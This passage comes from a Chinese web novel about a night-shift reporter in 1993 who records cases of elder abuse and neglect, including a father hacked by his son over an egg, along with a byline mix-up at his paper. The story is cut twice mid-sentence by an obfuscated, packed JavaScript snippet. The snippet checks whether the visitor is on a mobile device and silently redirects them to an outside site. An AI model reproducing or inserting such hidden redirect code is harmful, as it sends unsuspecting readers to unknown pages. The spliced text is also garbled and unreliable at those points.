记忆从味觉苏醒。她说出邮局的绿色门脸,小学围墙上的标语,粮店街那棵歪脖子槐树——春天开白花,落得满地像送葬的纸钱。 线索如蚕丝,终于抽出头来。粮店街派出所民警在电话那头拍大腿:“十三号!王老太!儿子叫王磊,下午来问过,又说不用立案,老太太自己会回来!” “让他来接。” “他说……让送回去。” 叶葆启握话筒的手发紧。塑料外壳在掌心吱呀作响,仿佛下一刻就要碎裂。“告诉他,”他一字一顿,“今晚不来,明天《内海都市报》社会版头条,我替他扬名。” 挂电话时,他看见玻璃窗映出自己的脸——扭曲,愤怒,陌生。 老太太又哼起歌来:“……娘吃糠呀儿吃米,娘睡稻草儿睡席……” 凌晨一点,王磊来了。他不是一个人来的,身后跟着条黑影——是他自己的影子,被走廊灯拉得细长扭曲,先于人撞进门内。 四十多岁的人,却有了六十岁的眼神。皮夹克袖口磨出发亮的油光,手指焦黄,浑身散发着烟与困顿混杂的气味。他没看母亲,先看记者:“给你们添麻烦了。” 声音干瘪,像晒透的豆荚。 老太太往叶葆启身后缩,枯手抓住他的椅背,指甲抠进木头缝里。 “你母亲说你打她。”叶葆启说。 王磊脸上肌肉抽搐了一下,像有虫在皮下爬。“不打。”他顿了顿,“骂过。她拉在裤子里,三九天,我得拆洗棉裤。” 话说得平淡,却砸在地上溅起冰碴。 老太太忽然开口,异常清晰:“磊,你六岁那年发烧,娘背你走二十里夜路去医院。你趴我背上说,娘,等我长大,背你走百里。” 王磊身体僵住了。他慢慢转头,第一次正眼看母亲。眼神复杂得像调色盘打翻——有怨恨,有疲惫,最深处还藏着一丝来不及掩藏的痛。 “妈,回家。”他说。三个字,耗尽所有力气。 搀扶的动作依旧粗鲁,但老太太没再躲。她经过叶葆启身边时,从棉袄深处掏出个东西,塞进他手里——是块手帕,旧的,洗得发硬,角上绣着朵褪色的梅花。 门关上了。脚步声在楼梯间回荡,越来越远,最终被雪吞没。 孙荣显拨弄炉钩,煤块炸开一朵橘红色的花。“看见了吗?人老了,就成了一件旧家具。扔不得,放着碍眼。” 叶葆启展开手帕。梅花是湘绣手法,针脚细密,曾是鲜亮的粉红。手帕裹着块硬糖,水果糖,透明玻璃纸已经和糖粘在一起,不知藏了多久。 他把糖放进嘴里。甜味早已走散,只剩下一股陈年的糖精涩味。 凌晨三点,记忆如潮水涌来。父亲临终前那个冬天,屋里总弥漫着碘酒和腐朽的气息。父亲瘦成一把枯柴,躺在床上像片影子。有天深夜,叶葆启趴在他床边打盹,忽然听见父亲说: “葆启,爹梦见自己变成了一只鸟。” “飞得高吗?” “不高,就在咱家房顶转悠。看你在院里劈柴,你妈在灶台忙活,小舟追鸡撵狗。”父亲的声音轻得像羽毛,“当人太累,当鸟好,飞累了,就落自家屋檐上。” 一个月后,父亲真的飞走了。出殡那天,有只麻雀一直跟着送葬队伍,从家跟到坟地,停在墓碑上,直到所有人离去。 叶葆启忽然懂了——父亲没走远。他只是换了个方式,继续守着这个家。 窗外透出蟹壳青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“1993年2月2日,夜。雪。八旬王氏,忘姓失家。其子王磊,疲如败犬。余观其母子,如照孽镜。忽悟世间孝道,非天性使然,乃与遗忘赛跑之挣扎。父母渐成孩童,子女强作爹娘,角色倒错间,爱恨熬成一锅稠粥,糊了锅底,苦了舌尖。 另记:母亲赠鞋垫一双,嘱余踏雪防寒。针脚虽疏,暖意透背。忽念王氏或亦有物赠其子,只是未及掏出,便已忘却。 夜将尽时,梦见所有走失老人都化作归鸟,栖于各家檐下,默然守望。醒来枕上有冰,不知是泪是霜。” 写完合本,东方既白。新的一天,旧的戏码,又将在这座城市反复上演。 而雪终究会化。化成水,渗入土,滋养草木。待到下一个冬天,又以另一种形式归来——就像记忆,就像爱,就像所有我们以为失去的,其实都在天地间流转,等待重逢的契机。 炉火渐熄。叶葆启披衣出门,在晨雪中站了片刻。远处传来第一班电车的铃声,叮当,叮当,像在唤醒什么,又像在送别什么。 他深吸一口气,冰凉的空气灌满肺叶。 活着,就要继续记录。记录这座城的疼痛与温柔,记录普通人在时代夹缝中,如何用肉身扛住遗忘的重量。 因为记者不仅写新闻。 更是在为无法发声者,雕刻墓碑上最后一行墓志铭。 9. 第009章 血染的“孝顺” 三月开春,内海的河睡醒了。冰层在半夜裂开,那声音不像破裂,倒像是地底下有巨人在打鼾,鼾声从河心滚到岸边,震得柳树嫩芽簌簌发抖。碎冰挤挤挨挨往下漂,白花花一片,远看像送葬的队伍撒的纸钱,近看每块冰里都冻着去年冬天的秘密——半片枯叶、冻僵的昆虫、还有不知谁家孩子丢的玻璃弹珠,在冰里睁着彩色的眼睛。 叶葆启值夜班满半年了。他的脸越来越像浸泡在福尔马林里的标本,苍白,透着青。眼袋沉甸甸地坠着,里面仿佛装着这半年收集的所有黑夜。素琴说他“快修炼成夜游神了”,说这话时她正对着镜子拔白头发,一根,两根,都小心地夹进一本旧书里。小舟却很自豪,在幼儿园拍着胸脯说:“我爸爸是抓坏人的,专在晚上抓!” “爸爸,昨晚你抓的坏人哭了吗?”小舟早上总这样问,眼睛亮得像刚擦过的玻璃球。 “没抓坏人,是帮人。”叶葆启纠正,声音有些干涩。 “帮人也是英雄!”小舟坚持。这孩子认定的事,十头牛也拉不回来,像他爷爷。 三月十五日,晚上十点。电暖器嗡嗡叫着,像只疲倦的钢铁蜜蜂。热风烤得人皮肤发紧,嘴唇起皮。解平生搓着手,那双手骨节粗大,掌心布满老茧——他年轻时在码头扛过麻袋。 “春天了,骨头缝里还往外冒寒气。”解平生说。 “倒春寒。”叶葆启盯着窗外,“去年这时候,槐花都开了。” 话音刚落,楼下传来自行车链条刮擦挡泥板的嘶叫,接着是楼梯被踩痛的呻吟。张大爷上来了,身后跟着一团影子。不,是一个人,一个瘦得几乎只剩骨架的老人。 “记者同志,这位大爷受伤了,你们快看看!”张大爷的声音在颤抖,每个字都像从筛子里筛出来的。 叶葆启站起来。老人约莫六十多岁,也许七十,岁月把人的年纪磨成了谜。他穿着秋衣秋裤——那种深蓝色的棉毛衫裤,洗得发白,袖口和裤脚都松垮垮地垂着,像是随时准备从他身上滑走。没穿外套,光脚趿拉着布鞋,十个脚趾像十颗干瘪的枣,紧紧抠着鞋面。 血。先是闻到血的味道,铁锈似的腥甜,混着老人身上陈年的汗酸味。然后才看见血——左腿上,秋裤被划开一道大口子,像一张咧开的嘴,正汩汩地往外吐着血沫子。伤口处的肉翻卷着,白中透红,红里泛白,能看见骨头,白森森的,像河底捞上来的石头。血不是流,是涌,一股一股的,有节奏地喷涌,在地板上积了一小摊。那摊血在灯光下闪着暗红的光,像一块活着的地毯,边缘还在缓慢地蠕动。 胸口、胳膊上也有伤,血把秋衣染成了深褐色,一块块斑驳,像地图上被战火蹂躏的疆域。 “快坐下!”叶葆启扶老人坐下。 老人很轻,轻得像一捆晒干的稻草。他坐下了,眼睛直勾勾地看着前方墙上的值班表,眼神空洞,仿佛灵魂已经从头顶的囟门溜走了,留下的只是一具会喘气的皮囊。 “怎么伤的?”解平生问,声音压得很低,像是怕惊扰了什么。 “儿子砍的。”老人说,声音平静得像在说“今天月亮挺圆”。 叶葆启心里那根弦“啪”地断了,亲耳听见“儿子砍的”四个字从一位父亲嘴里说出来,还是觉得有把钝刀在心脏上慢慢锯。 “用刀砍的?” “菜刀背。”老人抬起左腿,那个动作缓慢得像是电影慢镜头。伤口更深了,白森森的骨头露得更多,像在冷笑。“砍了七八下。我数着呢,一下,两下,三下……数到第八下,他累了,把刀扔了。” 解平生已经找来急救箱。他蹲下身,先用纱布按住伤口。血很热情,立刻把纱布拥抱成红色。换一块,又红一块,像变魔术。 “得送医院!”解平生额头冒汗,“这血止不住!” 老人摇头,脖子上的青筋像蚯蚓一样蠕动:“不去医院。我来,是让你们记者看看,给我那畜生儿子曝曝光。让全内海人都知道,屈超是个什么东西。” “大爷,先止血,命比名声要紧。”叶葆启解开自己的皮带——牛皮的,用了五年,扣头磨得发亮。他把皮带紧紧扎在老人大腿根部,勒进肉里,血果然流得慢了,但伤口还在往外渗,一滴,两滴,敲打在地板上,声音很轻,但每一声都像重锤砸在叶葆启心上。 “大爷,您住哪儿?” “桃花源里,我们家在三楼。”老人说,“离这儿不远,我是一步步挪过来的。血滴了一路,明天太阳出来,你们顺着血迹就能找到我家。” “您儿子为什么砍您?” 老人沉默了。时间在那一刻变得黏稠,电暖器的嗡嗡声显得格外刺耳。墙上的钟滴答滴答,秒针每走一步都像在踩踏谁的心脏。 过了很久,老人才开口,声音飘忽得像从很远的地方传来:“因为我吃了他的鸡蛋。” “鸡蛋?” “嗯。”老人眼神更空洞了,“他买了五个鸡蛋,准备早上煮面吃。鸡蛋摆在碗柜里,一个个圆滚滚的,像五个小太阳。我夜里饿,胃里像有只手在抓,就起来煎了一个。真香啊,油锅里‘滋啦’一声,蛋黄流出来,金黄金黄的……我吃完了,碗都洗了,以为他不知道。” 老人停顿了一下,喉结上下滚动:“可他知道了。早上起来看见碗柜里少了个鸡蛋,就疯了。眼睛红得像个兔子,不,像个恶鬼。他说:‘爹,你是不是偷吃我鸡蛋了?’我说是,我饿。他就从厨房拿出菜刀,不是刀刃,是刀背,说刀刃太快,怕把我砍死了……” 叶葆启和解平生对视一眼。解平生的拳头攥紧了,指甲嵌进掌心。叶葆启感到一阵恶心,不是生理上的,是灵魂深处的恶心——为了一颗鸡蛋,把亲爹砍得骨头都露出来? “您怎么不跑?不报警?”解平生问。 老人突然激动起来,那具干瘦的身体里爆发出惊人的力量:“报警?报警我儿子就得进去!判刑!劳改!那我咋办?谁给我养老送终?我死了谁给我摔盆打幡?” 叶葆启愣住了。这逻辑像一条毒蛇,紧紧缠绕着他的思维。儿子砍我,我不能告他,因为他是我的养老依靠——多么荒诞,多么真实,多么鲜血淋漓的真实。 “大爷,他都这样对您了,您还指望他养老?” “他是我儿子!”老人声音嘶哑,像破风箱在拉,“打断骨头连着筋!他就是再不是东西,也是我身上掉下来的肉!我老伴死得早,我就这么一个儿,他要是进去了,我活着还有什么意思?” 血还在流。皮带扎得太紧,老人的腿开始发紫。地板上的血摊变大了,暗红色的,表面已经结了一层薄薄的膜,像劣质的果冻。解平生换纱布的手在发抖。 “必须送医院!”叶葆启站起来,椅子腿在地上划出刺耳的尖叫,“再流下去,您等不到见报了!” “我不去!”老人死死抓住椅子扶手,指关节白得像要戳破皮肤,“你们记者给我写!写大点,登头版!让街坊邻居都看看,我屈星群养了个什么样的畜生!” 叶葆启看着老人倔强的脸——那张脸上沟壑纵横,每道皱纹里都藏着苦难;又看看那汩汩流血的伤口——那伤口像个永不闭合的嘴,在无声地呐喊。他一咬牙,对解平生说:“你按住他,我去拦车。” 他冲下楼,夜风像冰水泼在脸上。街上空荡荡的,路灯把他的影子拉得很长,像个瘦长的鬼。等了仿佛一个世纪,才来了一辆“面的”——黄色的小面包出租车,车灯昏黄,像惺忪的睡眼。他疯狂挥手,车子停下,司机摇下车窗,是个年轻人,嘴里叼着烟。 “师傅,帮个忙,楼上有个老人快不行了,送医院!” 司机把烟吐掉:“上来吧!” 两人上楼,和解平生一起把老人扶下楼。老人很轻,轻得让人心慌。搬到车上时,他还在喃喃:“我不去医院……我要登报……让所有人都知道……” “大爷,先活命。”叶葆启关上车门,掏出十块钱——他口袋里所有的现金,“总医院,快!闯红灯算我的!” 面的开走了,尾灯在夜色里拖出两条红色的光痕,像伤口在流血。 叶葆启回到楼上,看着地上的血。那摊血在灯光下呈现出诡异的层次感——最外围是暗红色,已经半凝固;中间是鲜红色,还在微微颤动;最中心是深褐色,黏稠得像糖浆。他蹲下身,伸手摸了摸,血还是温的,带着人体的余温。 他打了两个电话。一个给桃花源里派出所,接电话的是老孔所长,叶葆启的老熟人。他把情况说了,孔所长在那头叹气:“又是屈星群……这老爷子,唉。” “您认识?” “认识。他儿子屈超,去年因为赌博被我们处理过。老爷子来求情,跪在地上磕头,额头都磕破了。起来的时候说:‘同志,你们关他几天教育教育就行,可别判刑啊,他还得给我养老呢。’” 第二个电话打给妇联权益部门的。接电话的女同志声音很疲惫,听说情况后说:“我们记录一下,但这种事……如果老人自己不追究,我们很难介入。家庭暴力,清官难断家务事啊。” 挂了电话,叶葆启开始擦地。他打来一盆水,水很清,能看见盆底印着的红双喜字——不知是哪个同事结婚时发的。他把抹布浸湿,拧干,开始擦。血很难擦,黏糊糊的,抹布一过,血不是被擦掉,而是被抹开了,在地上拖出长长的红色痕迹,像谁用蘸血的毛笔胡乱画的符咒。 他擦了很久,水换了一盆又一盆。第一盆水变成淡红色,第二盆变成粉红色,第三盆还有淡淡的红。到第四盆,水终于清了。但地板上那些缝隙里,血已经渗进去了,擦不掉,留下暗红色的印记,像大地永远无法愈合的伤痕。 解平生坐在椅子上,脸色铁青:“这他妈的叫什么事?儿子砍爹,爹还护着儿子。一颗鸡蛋,换十八刀——我刚才数了,伤口正好十八处。” “不是孝,是恐惧。”叶葆启说,手里的抹布滴着粉红色的水,“把儿子当命根子,哪怕这命根子是条毒蛇,也得紧紧攥着,因为一松手,就什么都没了。” “现在怎么办?” “等。”叶葆启点起一支烟,手抖得差点没点上,“等医院消息,等派出所消息,等命运给这个荒诞的故事一个结局——如果命运还算公正的话。” 但命运往往不公正。凌晨两点,电话响了。是老孔所长。 “叶记者,王大爷在医院包扎了,伤口缝了十八针——真是巧了,十八刀,十八针。我们问他儿子在哪,他不说,把头扭到一边,盯着天花板。问他告不告,他说:‘告什么告,我儿子还小,不懂事。’” “他儿子四十多了吧?” “四十二。”孔所长苦笑,“在老爷子眼里,永远是个‘孩子’。我们想找屈超,但屈大爷不说地址,只说‘家丑不可外扬’。我们只能慢慢查,挨家挨户问。这种事太多了,叶记者,太多了。老人被打,被骂,被饿着,可一到要追究,就心软了。总说‘家丑不可外扬’,‘孩子还小不懂事’。可那些‘孩子’,有的都当爷爷了!” 挂了电话,叶葆启感到一阵深深的无力。他走到窗边,外面是沉睡的城市。远处有几扇窗还亮着,像夜的眼睛。那些亮灯的窗户里,在发生什么?是不是也有老人在挨打?是不是也有儿子在举刀?是不是也有血,正悄悄渗进地板缝里,成为这个城市永久的秘密? 解平生说:“写篇稿子吧。不点名,但把事说清楚。让那些沉默的老人知道,有人看见了;让那些举刀的手知道,有人记着了。” “好。”叶葆启打开稿纸。稿纸很白,白得刺眼。他拿起笔,笔尖悬在纸上,像一把悬在空中的刀。墨水滴下来,洇开一小团黑色,像一滴浓缩的夜。 他想起自己的父亲。父亲一生温和,最生气的时候也不过是把文件摔在桌上,说:“叶葆启,你给我站好!”然后开始讲道理,讲仁义礼智信,讲得唾沫星子横飞,讲到他认错为止。父亲常说:“打孩子的父母,是无能的父母。孩子不是畜生,是人,得用人道。” 可是,孩子打父母呢?那是什么?是畜生不如吗?还是说,在某个扭曲的逻辑里,这也是一种“孝”——父亲用血肉教会儿子,什么是暴力的权力? 凌晨四点,稿子终于写完了。他写得很克制,但每个字都像从血里捞出来的。他写那颗鸡蛋——金黄的,流心的,在油锅里“滋啦”一声;写那把菜刀——刀背厚实,砍在骨头上发出沉闷的响声;写十八针——针尖穿过皮肉,线在伤口上穿梭,像缝合一个破碎的梦;写老人那句话——“他是我儿子”,写这句话时,他的笔停顿了很久,墨水在纸上晕开,像个模糊的泪痕。 写完最后一个字,天快亮了。东方泛出鱼肚白,那白色渐渐晕染开,变成淡青,淡紫,最后是一抹羞涩的橘红。晨光熹微,像羞怯的少女,轻轻推开夜的门。 解平生趴在桌上睡着了,发出轻微的鼾声。叶葆启没有睡意,他走到窗边,看着苏醒的城市。早点摊出摊了,炸油条的香味飘上来,混着煤烟味、晨露味,还有城市本身那种说不清道不明的气味。公交车发车了,一辆接一辆,像一串移动的铁盒子,每个盒子里都装着几十个刚刚醒来的梦。清洁工在扫街,扫帚划过地面,沙沙的,像大地在低声诉说。 这就是生活。表面平静如内海的河水,底下却暗流涌动,藏着无数碎冰,每块冰里都冻着一个秘密。有多少个屈星群这样的老人,在沉默中忍受?有多少把菜刀,在家庭的名义下举起又落下?有多少摊血,正在某块地板缝里慢慢变黑,成为这个城市肌体里永不消退的瘀青? 他不知道。他只知道,他看见了,他记下了。 骑车回家时,太阳完全出来了。金色的阳光像熔化的金子,泼洒在街道上、屋顶上、行人的脸上。胡同里,老人们已经出来活动了。打太极的,动作缓慢如水中捞月;遛鸟的,鸟笼用蓝布罩着,只听见啁啾声;晒太阳的,靠在墙根,眯着眼,像一尊尊泥塑。看见他,都打招呼:“葆启,下班了?” “嗯,下班了。” “辛苦辛苦。” “不辛苦。” 其实辛苦,但不是身体的辛苦,是心里的。心里那块石头,搬不走,只能背着。 回到家,素琴正在熬粥。小米粥,黄澄澄的,在锅里咕嘟咕嘟冒泡。见他脸色不好,问:“怎么了?又遇着难啃的骨头了?” 叶葆启把屈星群的事说了。他说得很慢,每个细节都说了——那颗鸡蛋,那把菜刀,十八针,老人空洞的眼神,地上那摊温热的血。素琴听着,手里的勺子“哐当”掉锅里,溅起几点滚烫的粥。 “天啊……”她喃喃道,声音飘忽,“这还算人吗?为一颗鸡蛋……” “老人不让报警,说怕儿子坐牢,没人养老。” 素琴沉默了很久。粥在锅里继续咕嘟着,水汽蒸腾,模糊了她的脸。最后她说:“我在街道办,也见过这样的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904161|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去年,刘婶,记得吗?住槐花胡同那个,被儿媳妇打得浑身青紫,胳膊都折了。我们来调解,她坐在炕上,用那只好手护着伤手,说:‘我自己摔的,不小心,从台阶上滚下来了。’可她家根本就没台阶!” “为什么不说实话?” “为什么?”素琴苦笑,那笑容比哭还难看,“因为老了,没用了,得像藤蔓一样缠着子女这棵树。树给你荫凉,也给你风雨;给你依靠,也给你鞭打。可你能离开树吗?离开就死了,枯了,烂在地里了。” 叶葆启心里一凛。他想起屈星群瘦骨嶙峋的样子,像一棵被虫蛀空的老树;想起他说的“他是我儿子”,那语气不像在说儿子,像在说唯一的救命稻草;想起他流血时倔强的眼神——那不是勇敢,是绝望,是知道自己无处可去的绝望。 “咱们以后老了,”素琴突然说,声音很轻,但很坚定,“绝不这样。能动的时候自己过,养花,养猫,你写你的文章,我唱我的戏。不能动了,互相照顾,你帮我梳头,我帮你读报。真到两个人都不能照顾了,就去养老院,不拖累小舟。咱们攒钱,从现在就开始攒。” “嗯。”叶葆启握住妻子的手。那手不再年轻,皮肤有些松弛,掌心有茧,但温暖,真实。“咱们好好的,谁也不打谁,谁也不欠谁。咱们是夫妻,是伴儿,不是债主和欠债人。” 小舟醒了,揉着眼睛出来,睡衣歪歪扭扭,露出半边肩膀。“爸爸,你昨晚又帮人了吗?” “嗯。” “帮的什么人?” 叶葆启想了想,说:“帮了一个老爷爷,他受伤了,很疼,但很坚强。” “那他哭了吗?” “没有。不过他的血哭了,滴了一路,从桃花源里一直哭到记者站。” 小舟似懂非懂地点点头,去洗脸了。水声哗哗,像春天解冻的小溪。 那天下午,叶葆启睡得不安稳。梦里全是血,但不是屈星群的血,是无数人的血,汇成一条红色的河,河面上漂着碎冰,每块冰里都冻着一张脸——痛苦的,麻木的,绝望的。他在河边走,想捞起那些脸,但手一碰,冰就化了,脸也化了,只剩一滩血水。 醒来时,一身冷汗,枕头都湿了。窗外有小孩在放风筝,笑声银铃似的,穿过玻璃窗,刺得他耳朵疼。 他去报社送稿子。陈秉烛看了,看了很久。办公室里很静,只有翻动稿纸的沙沙声,像春蚕在啃桑叶。 “葆启,”最后陈秉烛说,摘下老花镜,揉了揉鼻梁,“这稿子我发。但你要有心理准备,可能会有读者骂——骂你管闲事,骂你破坏家庭和谐,骂你往社会主义脸上抹黑。” “我明白。” “你不完全明白。”陈秉烛看着他,眼神复杂,“有些伤疤,社会宁愿它烂在衣服底下,也不愿意被掀开见光。因为见光就要治,治就要疼,疼就会叫,叫了就不体面。而我们这个社会,最讲究体面。” 稿子第二天见报了。在二版,不大,但很醒目,像衣服上一个醒目的补丁。果然,电话来了。第一个电话是个老太太,声音颤巍巍的:“叶记者,你写得好啊!我儿子也打我,用皮带抽,我不敢说……”说着就哭了,哭声通过电话线传来,湿漉漉的。 第二个电话是个中年男人,声音粗哑:“叶记者,你站着说话不腰疼!你知道照顾老人多累吗?我爹瘫痪在床五年,我天天端屎端尿,工资全搭进去了,老婆跟人跑了,孩子不认我。我有时候烦了,真想掐死他,一了百了——但我忍住了。可你不能要求所有人都忍住。人不是圣人,人是肉做的,肉会累,会疼,会疯!” 叶葆启沉默了。他说得对,人不是圣人。长期照顾病人,身心俱疲,那种疲惫会变成毒素,慢慢侵蚀人的理智。但这能成为暴力的理由吗?就像饥饿能成为偷窃的理由吗?绝望能成为杀人的理由吗? 他不知道。他只知道,暴力一旦开始,就会自己生长,像野草,像癌细胞。 三天后,老孔所长又来电话了,声音里透着一股疲惫的释然:“叶记者,屈星群的儿子找到了,叫屈超。我们把他叫到所里,教育了一顿。他写了保证书,按了手印,红彤彤的,像血指印。他说:‘我知道错了,再也不敢了。’屈星群也来了,看见儿子就哭,哭完了说:‘孩子知道错了就好,回家吧,爹给你煮面,这回放两个鸡蛋。’” “就这么完了?” “不然呢?”孔所长长长地叹气,那叹气声通过电话线传来,像一阵萧瑟的秋风,“老人不追究,我们能怎么办?关他几天?关完了,回家还得面对。说不定更变本加厉,把气撒在老爷子身上。清官难断家务事,特别是这种血里掺着泪、泪里掺着依赖的家务事。” 挂了电话,叶葆启走到窗前。楼下的街道熙熙攘攘,自行车铃铛响成一片,小贩在叫卖,孩子在追逐。一切如常,仿佛什么都没发生过。 但真的什么都没发生吗?他低头看地板——昨晚他又梦见那摊血了,梦见它从桃花源里一路流过来,流进记者站,流到他脚下。醒来时,他下意识地看了看地板,当然没有血,只有灰尘在晨光中飞舞。 那天晚上回家,他特意绕到菜市场,买了两斤鸡蛋。鸡蛋用草纸包着,一个个圆滚滚的,摸上去还有母鸡身体的余温。 素琴问:“买这么多干嘛?家里还有。” “给小舟吃。”叶葆启说,把鸡蛋一个个拿出来,放在碗柜里,摆得整整齐齐。“让他每天吃一个,长身体,长良心。” 吃饭时,他给小舟剥鸡蛋。煮得正好,蛋白嫩,蛋黄糯。他剥得很仔细,先轻轻敲碎蛋壳,然后一点点撕,连蛋壳上那层薄膜都撕得干干净净。薄膜半透明,对着灯光看,能看见细密的纹路,像地图上的等高线。 “爸爸,”小舟问,嘴里塞着鸡蛋,腮帮子鼓鼓的,“鸡蛋有营养吗?” “有,长高高,长聪明,长好心。” “那我每天吃一个,就能长得像爸爸一样好吗?” 叶葆启的手顿了顿。“好”是什么?是身高?是职位?还是别的什么? “能。”最后他说,“你会长得比爸爸更好。” 小舟笑了,眼睛弯成月牙。叶葆启看着儿子的笑脸,忽然想:等他老了,小舟会给他剥鸡蛋吗?会这样耐心地,仔细地,连薄膜都撕干净吗?会在他生病时守在床边吗?会在他糊涂时耐心解释吗? 他不知道。但他知道,他不会因为一颗鸡蛋打儿子,更不会让儿子因为一颗鸡蛋打他。因为他们之间,不应该有债,只应该有爱——如果爱太难,至少有尊重;如果尊重也难,至少有不伤害。 因为他们是父子,是血缘相连的两代人,不是债主和欠债人,不是施暴者和受害者,不是藤蔓和树。他们是两棵独立的树,根或许在地下相连,但枝干各自指向天空。 窗外,月亮升起来了。不是满月,是弯月,像一把镰刀,割开深蓝色的夜空。月光清冷,洒在院子里,给晾衣绳、白菜垛、自行车都镀上一层银边。 明天还有夜班。还会有电话,还会有人来访,还会有新的故事——荒诞的,悲惨的,温暖的,冰冷的。但叶葆启已经准备好了。他准备好记录,准备好倾听,准备好在这个巨大的、复杂的、常常让人无力的世界里,点一盏灯。 虽然微弱,虽然照不了多远,虽然风一吹就摇晃。 但毕竟是一盏灯。 毕竟有人,在黑暗中,划亮了一根火柴。 10. 第010章 署名乌龙 四月,内海的海棠疯了。粉白的花瓣不再是花瓣,是天空溃烂的皮屑,成吨成吨地往下掉。胡同成了河的床,庭院成了云的墓,行人的肩头压着开败的春天。风一吹,那花瓣便发出极细的呜咽,像是无数张被揉碎的新闻纸在哭。 叶葆启的眼皮已经学会在白天自行缝合。他买的那副墨镜,镜片黑得能吸光,戴上去,世界就成了浸泡在福尔马林里的标本。素琴说他“像从敌特电影里爬出来的鬼”,小舟却说爸爸的眼睛变成了“两个很深的矿洞,里面藏着发光的秘密”。 四月的夜班,总带着一股甜腥气。不消生炉子,敞着窗,风灌进来,把海棠的魂也捎上了。那香味不是香的,是甜的,甜里又透着腐败,像隔夜的米酒泼在了热炕上。 四月十二日,叶葆启的左手和解平生的右手第三次在电话线上相遇。电话机是黑的,油腻腻的,听筒被无数只焦急的嘴啃噬得泛白。晚上八点,铃声炸了锅,一个挤着一个,争先恐后要从那塑料壳子里钻出来,变成有形的怨怼。 “同志,电死了!我们这一片,电死了一晚上!” “同志,楼下那歌厅,把人的脑浆子都唱沸了!” “同志,暖气水把我家的梦全淹了,地板底下现在游着鲤鱼!” 叶葆启的钢笔在纸上犁地。字迹歪斜,像被大风刮过的庄稼。每个字都在喘,渗着电话那头传来的汗与泪。解平生的声音则像个疲惫的摆渡人,在怒吼与哀求的河流间来回撑篙。 九点半,门被推开了。先进来的是一团湿漉漉的哭声,然后才是一个被抽了筋骨的女人。她叫万楠楠,她说丈夫的魂被狐狸精勾走了,剩下一个空壳子回家,壳子里还装着别人的香水味。叶葆启给她倒水,水在她手里晃,晃出一圈圈绝望的涟漪。劝了半晌,那哭声才渐渐收住,化作一声叹息,被她攥着,去找妇联那条也许存在的船。 十点,进来个叫温双彬的小伙子,浑身裹着一股劣质烟草的怒气。他从怀里掏出一包烟,摔在桌上,烟盒瘪了,像被踩扁的蟑螂。“假的!肺都要咳出来了!”叶葆启记下店铺的名字,那名字听起来就像个假名。 十一点,铃声终于稀了。解平生把自己摊在椅子上,像一件洗褪了色的旧衣裳。“娘的,今晚这邪性,”他望着天花板,仿佛能看穿楼板,看到天上那轮被海棠花瓣遮蔽的月亮,“像是全城的委屈都约好了,今晚决堤。” “春天嘛,”叶葆启划亮火柴,点燃一支烟。火光照亮他半张脸,另外半张留在黑暗里,成了剪影。“地气返上来了,人心里的虫子也就苏醒了,总要找个缝儿往外钻。” 火柴将熄未熄时,电话又尖叫起来。解平生哀嚎一声,仿佛那铃声是抽在他脊梁上的鞭子。接起来,声音却立刻软了:“李师傅啊,您慢慢讲,我听着呢……” 是个老工人的魂,在电话线里飘着。说厂里的钟表被人偷偷灌了铅,走得特别慢,慢到加班的时间都消失了,换不成钱。叶葆启记录,然后给劳动部门打电话。电话那头的声音官样而冰凉,像从铁皮柜子里发出来的。 处理完,午夜了。两碗方便面在搪瓷缸里胀开,佐着几根咸菜丝。面还没挑起来,敲门声又响了。不重,但很坚持,笃,笃,笃,像心跳。 解平生拉开门。月光和海棠花瓣一起涌进来,簇拥着一个年轻人。西装笔挺,领带打得像一道黑色的伤口,但眼神却是茫然的,与这身装备格格不入。 “记者同志,我的车……没地方去。”他说,声音干涩。 原来是一辆桑塔纳,二手的,却被他擦得锃亮,亮得像一颗巨大的、无处安放的眼泪。存车处的老头说它“太高级”,怕丢,怕赔,怕这钢铁怪物惊了那些自行车和摩托车的梦。那存车处叫“中发”,名字红漆写的,在月光下像两道血痕。 叶葆启觉得这事像一则现代的寓言。他记下“张亮”这个名字,笔尖沙沙响,仿佛在给这个荒谬的夜晚记下注脚。 凌晨一点,世界终于沉到了最底。叶葆启开始织补今晚的窟窿。停电的,扰民的,漏水的……最后是那辆无家可归的桑塔纳。他写下小标题:《轿车太贵了,存车处不给存》。他仿佛看见那辆车,孤零零地停在夜的中央,像一头被现代文明突然吐出来的、不知所措的兽。 写完了,笔一搁,脑子就成了掏空的葫芦。署名时,他的手指自己动了。“叶葆启”三个字后面,跟着的不应是“解平生”么?可笔尖流出来的,却是“孙荣显”。那“光”字的最后一勾,拉得特别长,像一道无意中划开的、幽暗的通道。 他太累了,累得感觉不到错误。稿纸放在桌上,像一片等待被拾走的白色羽毛。 早晨交班,骑车回平安胡同。海棠花瓣积了厚厚一层,踩上去悄无声息,仿佛走在云端,或是走在巨大的、柔软的腐殖质上。素琴在扫院子,扫帚划过地面,发出春蚕噬桑般的沙沙声。 下午两点,电话铃把他从一片黑色的睡眠沼泽里拽了出来。是解平生,声音被焦急拧成了麻花:“葆启!看报!二版!我们的车……不对,我们的稿子!” 叶葆启的心脏猛地一缩,像被一只冰冷的手攥住了。他找到报纸,二版,那则寓言还在。可署名的位置,“叶葆启”消失了,取而代之的是“孙荣显”。那三个字印得方正正,黑黝黝的,像三个陌生的墓碑,冷冷地宣示着一件他毫无记忆的事实。 血液轰的一声冲上头顶,又迅速退去,留下冰冷的眩晕。他手指摩挲着那名字,纸粗糙的质感无比真实。难道是梦游?还是这疲惫的躯体里,藏着一个连自己都不知道的叛徒? 